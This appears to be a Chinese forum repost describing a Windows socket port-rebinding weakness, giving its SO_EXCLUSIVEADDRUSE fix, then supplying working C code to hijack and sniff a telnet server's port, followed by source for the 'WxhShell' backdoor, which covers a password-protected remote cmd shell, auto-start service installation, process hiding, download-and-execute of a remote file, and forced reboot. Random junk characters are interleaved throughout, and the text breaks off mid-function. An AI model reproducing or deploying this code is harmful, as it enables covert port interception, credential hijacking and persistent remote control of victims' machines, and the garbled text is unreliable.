在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^~3{n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
kPSi6ci >^v,,R8j saddr.sin_family = AF_INET;
}To-c' 7!e kINQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/g!X[rn7Q D6'-c# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o KY0e&5 8vj]S5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
aOEW$% l 1BAW$ 这意味着什么?意味着可以进行如下的攻击:
qIO)<5\[%d ;F/s!bupCM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xoQqku"vn iH-(_$f; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
BbgKaC q .]; ` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
R1/mzPG y p pZ@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
vtq47i QQ99sy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:x!'Eer
n )r
XUJ29. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<fDbz1Q;l tU-jtJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
A*W/Q<~I *[b~2 #include
\obM}caT #include
4@@gC&:Y #include
zH
*7!)8 #include
*{=q:E$ DWORD WINAPI ClientThread(LPVOID lpParam);
Emv9l~mIu int main()
]/Cu,mX {
2'?C WORD wVersionRequested;
` yM9XjEl> DWORD ret;
?cD_\~ WSADATA wsaData;
"@itn BOOL val;
Gx(%AB~9$ SOCKADDR_IN saddr;
KwxJ{$|xH SOCKADDR_IN scaddr;
)u307Lg int err;
+4k4z:<n SOCKET s;
?T>N vKF SOCKET sc;
s)9sbJ int caddsize;
:(4];Va HANDLE mt;
i6k~j%0m DWORD tid;
(y2P." wVersionRequested = MAKEWORD( 2, 2 );
::Pf\Lb> err = WSAStartup( wVersionRequested, &wsaData );
~0 L:c&V if ( err != 0 ) {
Rm@F9D[, printf("error!WSAStartup failed!\n");
@SAJ*hfb0 return -1;
JL?|NV- }
]iaQD _'\ saddr.sin_family = AF_INET;
,u >yr3C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.X6V>e)(3 tBE-:hX* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'>% c@C[ saddr.sin_port = htons(23);
l
i2/"~l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"IoY$!Hk {
p5bM/{DP;K printf("error!socket failed!\n");
z2SR/[I? return -1;
,.,Y{CP }
V V Aw y6 val = TRUE;
9<*<-x{A17 //SO_REUSEADDR选项就是可以实现端口重绑定的
OJ}aN>k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
L$}'6y/@ {
o6S`7uwJ*/ printf("error!setsockopt failed!\n");
kk/vgte-)e return -1;
cqb]LC }
z9^_5la# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2Zi&=Zj" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[Mlmn$it //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
uF]+i^+ T`) uR*$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~VJP:Y{[ {
#EO],!JM ret=GetLastError();
13I~
printf("error!bind failed!\n");
lziC.Dpa return -1;
Mm#=d?YUHJ }
MZSyu listen(s,2);
i-&"1D[& while(1)
7`K)7 {
DZX4c 2J caddsize = sizeof(scaddr);
5$
rV0X,O //接受连接请求
S3YAc4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"QV1G' if(sc!=INVALID_SOCKET)
SrXuiiK {
q^b_'We_9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
z0 _/JwJn if(mt==NULL)
zKaEh
{
K#plSD^f= printf("Thread Creat Failed!\n");
bqUQadDB break;
0"=}d y }
x`p3I*_HT5 }
8R.`* CloseHandle(mt);
?a-}1A{
}
LY(h>` closesocket(s);
)1]LoEdm` WSACleanup();
|}K7Q return 0;
WFFpW{ }
~7&O[ DWORD WINAPI ClientThread(LPVOID lpParam)
F84?Mi{r2 {
7)au#K6 SOCKET ss = (SOCKET)lpParam;
zGE{Z A SOCKET sc;
w^QqYUL${ unsigned char buf[4096];
gc{5/U9H* SOCKADDR_IN saddr;
&SK=ZOKg^ long num;
q"pnFK9/L DWORD val;
9:6d,^X DWORD ret;
@5(HRd //如果是隐藏端口应用的话,可以在此处加一些判断
f*~z| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
64qQ:D7C saddr.sin_family = AF_INET;
yj{:%Km:` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Mt`XHXTp saddr.sin_port = htons(23);
t~"DQqE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tc<t%]c {
%epK-q9[ printf("error!socket failed!\n");
- dt<w;>W return -1;
6 _\j_$ }
q! U'DDEP val = 100;
kXbdR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XD\Z$\UJE {
r#[YBaCZJ ret = GetLastError();
15FGlO<< return -1;
mg^\"GC*8 }
k)R>5?_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h/%Hk;|9 {
q<cpU'-# ret = GetLastError();
Ey"<hAF return -1;
4';tMiz }
sIJ37;ZA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s~6irf/ {
"ci<W_lx printf("error!socket connect failed!\n");
+iPS=?S closesocket(sc);
h&6x.ps@ closesocket(ss);
$wn"+wX return -1;
q}["Nww- }
RFu]vFff while(1)
cNG6 A4 {
G{ $Zg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
AcF;5h //如果是嗅探内容的话,可以再此处进行内容分析和记录
*7I=vro //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1v&!`^G99j num = recv(ss,buf,4096,0);
Pne[>}_l/ if(num>0)
"zO+!h'o send(sc,buf,num,0);
w`Dzk.2 else if(num==0)
STmCj break;
ud-.R~f{e num = recv(sc,buf,4096,0);
#|8!0]n' if(num>0)
5\tYs=>b< send(ss,buf,num,0);
QE5
85s5
else if(num==0)
k>Qr14F break;
m-a_<xo }
/=\__$l) closesocket(ss);
8X]j;Rb closesocket(sc);
o=_4v^ return 0 ;
qD#-q vn }
\o@b5z]e }~-)31e'` TR@$$RrU ==========================================================
,Ql3RO, (w% hz'] 下边附上一个代码,,WXhSHELL
u6jJf@!ws (s{%XB:K ==========================================================
Af0E_ a@,tf'Sr #include "stdafx.h"
S-yd-MtQp xMhR;lKY #include <stdio.h>
YKl!M/
#include <string.h>
,^o^@SI)
#include <windows.h>
a+mq=K #include <winsock2.h>
,lA J{5\# #include <winsvc.h>
N
&p=4 #include <urlmon.h>
xyz-T1ib 7!JoP?! #pragma comment (lib, "Ws2_32.lib")
:eQxdi' #pragma comment (lib, "urlmon.lib")
}.zgVLL JEBo!9 #define MAX_USER 100 // 最大客户端连接数
=4 JVUu~Z #define BUF_SOCK 200 // sock buffer
p|Rxy"} #define KEY_BUFF 255 // 输入 buffer
%v~j10e 7X}_yMxc #define REBOOT 0 // 重启
TJsT .DWW~ #define SHUTDOWN 1 // 关机
<)n
^ad>
(W #define DEF_PORT 5000 // 监听端口
[TO:-8$. YBS]JCO #define REG_LEN 16 // 注册表键长度
]P<&CEk #define SVC_LEN 80 // NT服务名长度
F/EHU?_EI nI_Zk.R // 从dll定义API
*%)L?* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
NKd@Kp`, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]r"{G*1Q
9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|+`hSA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U;V. +onv s.GhquFCrU // wxhshell配置信息
dqKTF_+VhA struct WSCFG {
DD3J2J int ws_port; // 监听端口
U5H o? `< char ws_passstr[REG_LEN]; // 口令
O&w$ int ws_autoins; // 安装标记, 1=yes 0=no
0|^x[dh char ws_regname[REG_LEN]; // 注册表键名
swLgdk{8n char ws_svcname[REG_LEN]; // 服务名
q75F^AvH char ws_svcdisp[SVC_LEN]; // 服务显示名
ryn) char ws_svcdesc[SVC_LEN]; // 服务描述信息
10}Zoq|)n char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M $~h(3 int ws_downexe; // 下载执行标记, 1=yes 0=no
1
yzxA( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)E[5lD61 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#!`zU4&2 |y:DLsom?i };
ka>RAr J Y\%}VD2k // default Wxhshell configuration
UxS;m4 struct WSCFG wscfg={DEF_PORT,
eiJ2NwR\w "xuhuanlingzhe",
/*Qq[C 1,
H'F6$ypoS "Wxhshell",
^s.V;R "Wxhshell",
mZIoaF>t "WxhShell Service",
n&MG7`]N "Wrsky Windows CmdShell Service",
SE7W F18A "Please Input Your Password: ",
76.{0c 1,
+h_ !0dG "
http://www.wrsky.com/wxhshell.exe",
wv^rS^~ "Wxhshell.exe"
lnGq :- };
%P;Q|v6/|
Quf_' // 消息定义模块
0q\7C[R_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
c#N<"cy> char *msg_ws_prompt="\n\r? for help\n\r#>";
{YUIMd!Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[7m1Q< char *msg_ws_ext="\n\rExit.";
ny-7P;->8 char *msg_ws_end="\n\rQuit.";
#"fJa:IYG7 char *msg_ws_boot="\n\rReboot...";
ob_I]~^I?| char *msg_ws_poff="\n\rShutdown...";
fIF<g@s char *msg_ws_down="\n\rSave to ";
r}yG0c, %r)avI char *msg_ws_err="\n\rErr!";
F_uY{bg char *msg_ws_ok="\n\rOK!";
3?E8\^N\n /m _kn char ExeFile[MAX_PATH];
V#ev-\k}@ int nUser = 0;
7m#[!%D HANDLE handles[MAX_USER];
7j7e61
Ax int OsIsNt;
|
nJZie8m ,@z4I0cTi\ SERVICE_STATUS serviceStatus;
2FD=lR?6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
v}^5Rp&m 22(*J< // 函数声明
BK,sc'b int Install(void);
l<(Y_PE: int Uninstall(void);
~7!7\i,Y8\ int DownloadFile(char *sURL, SOCKET wsh);
v&FF|)$ int Boot(int flag);
w#i[_ void HideProc(void);
ZDL']*)' int GetOsVer(void);
z'p:gv] int Wxhshell(SOCKET wsl);
Da$r ` void TalkWithClient(void *cs);
g/UaYCjM int CmdShell(SOCKET sock);
Y,8KPg@W int StartFromService(void);
P\CDd=yWc int StartWxhshell(LPSTR lpCmdLine);
)Z+{|^`kJ 2}?wYI*:5| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l:]Nn%U(> VOID WINAPI NTServiceHandler( DWORD fdwControl );
~8|t*@D :T3/yd62N // 数据结构和表定义
AGA`fRVx SERVICE_TABLE_ENTRY DispatchTable[] =
iA_8(Yo {
ydv3owN {wscfg.ws_svcname, NTServiceMain},
7nzGAz_W {NULL, NULL}
M9!AIHq4 };
a:YI"*S
!2:3MbtR // 自我安装
>*twTlb{ int Install(void)
#sKWd {
5W
=(+Q>C char svExeFile[MAX_PATH];
~{>?*Gd&T HKEY key;
t"j|nz{m strcpy(svExeFile,ExeFile);
B@Nt`ky0* h?\2_s // 如果是win9x系统,修改注册表设为自启动
S~$'WA if(!OsIsNt) {
:PbDU$x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Vv$HR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PZ8U6K' RegCloseKey(key);
xr(|* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hM@\RPsY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G)>W'yxQ RegCloseKey(key);
}2)DPP:ic return 0;
5sde }
KRsAv^'] }
I>h<b_y }
y?[snrK G else {
nD"~?*Lt V@=V5bZLs // 如果是NT以上系统,安装为系统服务
%,b X/! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#y]3LC#)^G if (schSCManager!=0)
yj@tV2 {
M4Z@O3OIE SC_HANDLE schService = CreateService
!}3,B28 (
P];JKE% schSCManager,
V[pvJ( wscfg.ws_svcname,
wN37zPnV~ wscfg.ws_svcdisp,
5TBI<K SERVICE_ALL_ACCESS,
:&'{mJW*{t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u"$a>S_ SERVICE_AUTO_START,
0BkV/v1Uc SERVICE_ERROR_NORMAL,
PM$Ee #62R svExeFile,
&ntBU]<q NULL,
&;H{cv` NULL,
j_?cpm{~ml NULL,
FgA//)1 NULL,
dTEJ=d40 NULL
5T4"j;_.BL );
sc`"P-J+vp if (schService!=0)
{gf>* {
e{G_GycH CloseServiceHandle(schService);
PX".Km p. CloseServiceHandle(schSCManager);
ApPy]IdwX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
go)p%}s strcat(svExeFile,wscfg.ws_svcname);
U6 82Th if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hQJWKAf,/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
a!Yb1[ RegCloseKey(key);
nN`"z3o return 0;
w#PZu+ }
ZofHic }
U2*6}c< CloseServiceHandle(schSCManager);
^o<:;{ }
SA6hbcYk }
FyD.>ot7M @%i>XAe#0 return 1;
(0*v*kYdL+ }
nYv#4* ]>:^d%n,} // 自我卸载
;np_%?is int Uninstall(void)
i8V0Ty4~N {
]S8LY.Az5 HKEY key;
n~z\?Y=* 6i@ub%qq if(!OsIsNt) {
4 9w=kzo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YaFcz$GE_ RegDeleteValue(key,wscfg.ws_regname);
-oBI+v& RegCloseKey(key);
AfWl6a?T8: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rFag@Z"[" RegDeleteValue(key,wscfg.ws_regname);
#!!AbuhzK{ RegCloseKey(key);
>.dHt\ return 0;
4E"d / }
='/Z;3jt]x }
{V2bU}5
[ }
!Cj(A"uqY else {
}6~)bLzI} KvFR8s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V> a*3D if (schSCManager!=0)
5]"BRn1* {
XK 3]AYH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<GW R7rUH if (schService!=0)
4e%8D`/=M {
:k!j"@r if(DeleteService(schService)!=0) {
:zL 393( CloseServiceHandle(schService);
hjY0w CloseServiceHandle(schSCManager);
x72G^`Wv return 0;
?M&4pO&Y }
nlfPg-78B+ CloseServiceHandle(schService);
4UCwT1 }
nTZ> |R) CloseServiceHandle(schSCManager);
S!j^|! }
wkT;a&_ }
J9@}DB 5gNLO\ return 1;
`mErF%b }
huAyjo \y*j4 0 // 从指定url下载文件
vj3isI4lU int DownloadFile(char *sURL, SOCKET wsh)
.)ST[G]WK {
O<`R~ HRESULT hr;
&telCg: char seps[]= "/";
_om[VKJd char *token;
)1_(>|@oi char *file;
:GL7J6 char myURL[MAX_PATH];
RWE~&w G} char myFILE[MAX_PATH];
X(GV6mJ4 q:yO92Ow strcpy(myURL,sURL);
:HZ;Po token=strtok(myURL,seps);
_'c+fG
\ while(token!=NULL)
%8Yyj{^!( {
h*'d;_(, file=token;
a%n'%*0 token=strtok(NULL,seps);
A9n41,h }
X8b#[40: 56ZrCr GetCurrentDirectory(MAX_PATH,myFILE);
<3Fz>}V32 strcat(myFILE, "\\");
{5 Kz' FT strcat(myFILE, file);
('HxHOh2 send(wsh,myFILE,strlen(myFILE),0);
,eK2I Ao send(wsh,"...",3,0);
[0op)Kn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
thV Tdz if(hr==S_OK)
BvI 0v: return 0;
sS'{QIRC' else
O9;dd
yx return 1;
j]4,6`b\ !OQuEJR }
J
r=REa0 @2-Hj~ // 系统电源模块
yBUZVqqDa int Boot(int flag)
GLbc/qs {
|?4~T: HANDLE hToken;
Fr938q6^- TOKEN_PRIVILEGES tkp;
V'Sd[* ;$E~ZT4p if(OsIsNt) {
*
ePDc' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^K1~eb*K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5i}CzA96 tkp.PrivilegeCount = 1;
G.A=hGw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#"3[f@|e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`8$:F4%P if(flag==REBOOT) {
Y^*Lh/:h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?0 KiR? return 0;
<-Kb@V3 }
wR5\^[GN else {
=!I8vQ> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%RfY`n return 0;
A1#4nkkc9 }
Mm:a+T }
\FY/eQ*07 else {
sK"" if(flag==REBOOT) {
02]8|B(E90 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
.P|+oYT&g return 0;
k8Su/U }
!>a&`j2:W else {
{y+v-v/# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X-*KQ+? return 0;
Kd AR)EU> }
8S[<[CH }
LXTipWKz 'AAF/ 9 return 1;
gnKU\>2k }
}5fI*v 'aSZ!R // win9x进程隐藏模块
flm,r<*} void HideProc(void)
dcrJ,>i} {
0s+rd& RpaA)R, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
o%N0K if ( hKernel != NULL )
P}.yEta {
K\Y6
cj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
btB(n<G2# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(Ay4B*|! FreeLibrary(hKernel);
)P(d66yq'u }
q6m87O9 $J;=Ux)$ return;
q)z1</B- }
Xx9~ =w;xaxjL // 获取操作系统版本
T^=Ee?e int GetOsVer(void)
)n3biQL_ {
nHhD<a! OSVERSIONINFO winfo;
k{u%p < winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zM9) .D
H GetVersionEx(&winfo);
8en#PH } if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[&]YVn>kj return 1;
D .oS8' else
[jtj~]&mO return 0;
fi-&[llg }
!tFU9Zt >/OXC+=^4 // 客户端句柄模块
&|&YRHv int Wxhshell(SOCKET wsl)
:BZx)HxQ {
e&a[k SOCKET wsh;
nF!_q;+Vp struct sockaddr_in client;
zf!\wY"` DWORD myID;
;6&=]I hz~CW-47 while(nUser<MAX_USER)
nD?M;XN {
^2?O+ =,F int nSize=sizeof(client);
9|kEq>d wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JXR/K=<^ if(wsh==INVALID_SOCKET) return 1;
n-| i nY5n%>8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
K&a]pL6D if(handles[nUser]==0)
'y@ 2,9v closesocket(wsh);
5)zh@aJ@ else
%[bO\, nUser++;
F*jjcUk }
4`5Qt=} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
TAXkfj X=c
,`&^ return 0;
H/la'f#o% }
$q@RHcj &u`rE"" // 关闭 socket
*p5T void CloseIt(SOCKET wsh)
Vi-!E {
+nyN+X34B closesocket(wsh);
'FA)LuAok nUser--;
IOES3 ExitThread(0);
tS/APSY }
_(s|Q AiHDoV+- // 客户端请求句柄
mM^8YL void TalkWithClient(void *cs)
iO= uXN1g {
`&Of82*w Pv$"DEXA2 SOCKET wsh=(SOCKET)cs;
% |Gzht\ char pwd[SVC_LEN];
J<:D~@qq char cmd[KEY_BUFF];
8_,wOkk_B char chr[1];
uXW.
(x7"f int i,j;
g:6}zHK C]cT*B^ while (nUser < MAX_USER) {
Q_h+r!b n)7$xYuH if(wscfg.ws_passstr) {
yW,#&>]# | if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+#"Ic: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Nm :lC%>X //ZeroMemory(pwd,KEY_BUFF);
k)t8J \ i=0;
.?)oiPW# while(i<SVC_LEN) {
ZjbG&oc #UnO~IE.m$ // 设置超时
#:5g`Ch4, fd_set FdRead;
0lq4 struct timeval TimeOut;
00x^zu?N FD_ZERO(&FdRead);
n{NgtH\V FD_SET(wsh,&FdRead);
k 5kX TimeOut.tv_sec=8;
_[Wrd?Z TimeOut.tv_usec=0;
T{xo_u{Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
MBrVh6z> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Pb&+(j gG> ^h1_o~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
weadY,-H8 pwd
=chr[0]; mP+yjRw
if(chr[0]==0xd || chr[0]==0xa) { T:5%sN;#O
pwd=0; nk.Eq[08
break; X51$5%
} /3%xQK>%
i++; k"-#ox!
} m8A1^ R
9rc
n*sm
// 如果是非法用户,关闭 socket nezbmpL4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UC$+&&rO
} T1[ZrY'0
]Y!
Vyn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,B>b9,~3a
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f=Y9a$.:M
pC
Is+1O/
while(1) { !9OgA
?2>v5p
ZeroMemory(cmd,KEY_BUFF); Oj\mkg
%E_{L
// 自动支持客户端 telnet标准 ?E@[~qq_
j=0; ;itg>\p3
while(j<KEY_BUFF) { 8Y'"=!3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bq`kVfx
cmd[j]=chr[0]; ixpG[8s
if(chr[0]==0xa || chr[0]==0xd) { ~]+
jn
cmd[j]=0; M&-/&>n!
break; IV*$U7~
} jo#F&
j++; vH8%a8V
} %W@IB8]Vr
8"^TWzg}L
// 下载文件 uS,$P34^oy
if(strstr(cmd,"http://")) { T+!kRigN~P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); i|'t!3I^m
if(DownloadFile(cmd,wsh)) =1Jo-!{{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AW68'G*m
else x*V<afLY[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [GM<Wt0
} `^{P,N>X
else { 4N:
;Mo&B
??Ac=K\
switch(cmd[0]) { 9B0"GEwrs
-C<aB750O)
// 帮助 GrC")Z|3u
case '?': { #1R
%7*$i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H:6$)#
break; PD4E&k
} $S{j}74[
// 安装 4y.[tk5
case 'i': { \$"Xr
if(Install()) bux-t3g7+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p7er04/}\
else Y1IlH8+0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YZ@-0_Z
break; dW68lVWq_
} 37Y]sJrs$
// 卸载 ")
D!OW]
case 'r': { @( l`_Wx
if(Uninstall()) Ea?.HRxl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ow"Xv
else RkzBn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :_*Q
IyW
break; ,vPF=wq
} v'tk:Hm1
// 显示 wxhshell 所在路径 M5uN1*
case 'p': { _(foJRr
char svExeFile[MAX_PATH]; 4^&vRD,
strcpy(svExeFile,"\n\r"); KG$2u:n
strcat(svExeFile,ExeFile); X $f%Ss
send(wsh,svExeFile,strlen(svExeFile),0); `>Cx!sYhV
break; h;->i]
} QL#y)G53Q
// 重启 >.|gmo>b
case 'b': { R8l9i2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5,C,q%2
if(Boot(REBOOT)) a2TC,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tUQ)q
else { "L]_NST
closesocket(wsh); gZ3!2T>
ExitThread(0); SCij5il%
} }JD(e}8$!
break; eAMT7 2_
} D3PF(Wx
// 关机 pC6_
jIZ
case 'd': { @zbXG_J
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (&(f`c@I
if(Boot(SHUTDOWN)) 8T4J^6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ioggD
else { rAKdf??
closesocket(wsh); $Tg$FfD6&
ExitThread(0); Ju<D7
} i(WWF#N5
break; w8qI7/
} art{PV4-
// 获取shell 4tI~d8?pk+
case 's': { (]:G"W8f
CmdShell(wsh); jKzjTn9{E
closesocket(wsh); &+v&Dd&
ExitThread(0); ]l%j>Vb!L
break; wrbDbp1L
} z2V!u\It
// 退出 ^|Y!NHYH$Z
case 'x': { 6{M.S}.^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U^xFqJY6
CloseIt(wsh); uyj5}F+O
break; :O7J9K|
} V+^\SiM
// 离开 P1t5-q
case 'q': { =F9-,"EAI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); mWh:,[o
closesocket(wsh); @9-qqU@
WSACleanup(); |s:!LU&OL\
exit(1); M0|z^2
break; ,0~=9dR
} yZ`\.GgC^&
} bu]bfnYi9
} CV k8MA
N$?q Aek
// 提示信息 SC#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >a<;)K^1
} S7bSR?~L[
} |
!Knd ^}
R&?p^!`%
return; ]?^mb n
} s
SDBl~g
'G&w[8mqY
// shell模块句柄 aePk^?KbB
int CmdShell(SOCKET sock) J? C"be=
{ o\N),;LM
STARTUPINFO si; -{dwLl_
ZeroMemory(&si,sizeof(si)); s^cHR1^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u!O)\m-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JH 8^ZP:d'
PROCESS_INFORMATION ProcessInfo; c5JxKU_
char cmdline[]="cmd"; |.YL2\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~!I
\{(
return 0; Na4\)({
} #(OL!B
.mMM]*e[0
// 自身启动模式 MZ0 J/@(
int StartFromService(void) +BESO
{ DUaj]V{_^
typedef struct HM`;%0T0(
{ [l0>pHl@
DWORD ExitStatus; 4v;/"4)'
DWORD PebBaseAddress; 9Z}-%Z[,)
DWORD AffinityMask; yJ?6B LJi
DWORD BasePriority; -{^Gzui
ULONG UniqueProcessId;
W+e
